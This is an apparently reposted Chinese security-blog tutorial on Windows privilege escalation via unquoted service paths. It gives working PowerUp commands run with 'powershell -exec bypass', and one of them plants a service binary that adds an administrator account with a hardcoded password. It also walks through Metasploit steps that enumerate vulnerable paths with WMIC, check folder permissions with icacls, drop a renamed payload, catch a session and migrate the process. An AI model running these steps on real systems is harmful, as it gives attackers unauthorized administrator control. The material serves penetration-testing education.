[windows提权] 详解-可信任服务路径提权

  • A+
所属分类:安全文章

可信任服务路径提权

①简介

"包含空格但没有引号的服务路径",利用windows解析文件路径的特性,如果一个服务的可执行文件路径热设置不当,攻击者可构造对应的可执行文件,从而利用提权,powerup的Get-ServiceUnquoted模块、配合MSF,可以自动化帮我们完成提权


②提权操作

1、安装一个存在漏洞的服务环境

https://www.exploit-db.com/exploits/24872



-使用Powerup:

1、用相应模块寻找问题路径

powershell -exec bypass "import-module .powerup.ps1;Get-ServiceUnquoted"

[windows提权]  详解-可信任服务路径提权


2、根据AbuseFunction给出的进行利用

powershell -exec bypass "import-module .powerup.ps1;Write-ServiceBinary -Name 'ScsiAccess' -Path 'C:Program Files (x86)PhotodexProShow ProducerScsiAccess.exe'"

[windows提权]  详解-可信任服务路径提权

可以看到是创建了管理员用户john,密码为Password123!


3、等待服务重启,用户添加成功

net user

[windows提权]  详解-可信任服务路径提权


如果权限能手动停止、启动服务可执行:

sc stop 服务名  #停止服务sc start 服务名  #启动服务



-配合MSF和WMIC:

1、拿到一个不是最高权限的会话

getuid

[windows提权]  详解-可信任服务路径提权


2、进入shell会话,用wmic枚举可能存在漏洞的路径

wmic service get name,displayname.pathname,startmode | findstr /i "Auto" | findstr /i /v "C:windows\" | findstr /i /v """

[windows提权]  详解-可信任服务路径提权


成功找到一个,会按照如下顺序执行程序:

C:Program.exe

C:Program Files(x86)PhotodexProShow.exe

C:Program Files(x86)PhotodexProShow ProducerScsiAccess.exe


详细解析一下:

我们根据wmic查询的结果,发现有一个exe文件的路径存在问题,此exe的全路径共有三个空格,那么就会按照:第一个空格断开,拼接exe直接执行,就是比如:C:Program[空格]xxxxxxxxx.exe那么空格后面的会被忽略,直接将Program拼接exe作为一个可执行程序执行,如果没有找到,那么就从第二个空格断开,再拼接exe执行,以此类推,实际情况可能就得看哪个目录有上传权限,再进行深入的利用了。



3、查看目录权限,用windows自带的icacls

icacls "文件夹路径"

[windows提权]  详解-可信任服务路径提权

参数解析:

(M):修改

(F):完全控制


可以看到,是Everyone,即具有完全控制权限



4、然后upload一个msf的payload到相应目录,并重命名为上面可能执行的文件名

[windows提权]  详解-可信任服务路径提权


5、等待服务重启,MSF开启监听,成功上线

[windows提权]  详解-可信任服务路径提权


但是这个会话很不稳定,所以第一时间进行进程迁移

run post/windows/manage/migrate

[windows提权]  详解-可信任服务路径提权


再次查看权限:

getuid

[windows提权]  详解-可信任服务路径提权


本文始发于微信公众号(哈拉少安全小队):[windows提权] 详解-可信任服务路径提权

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: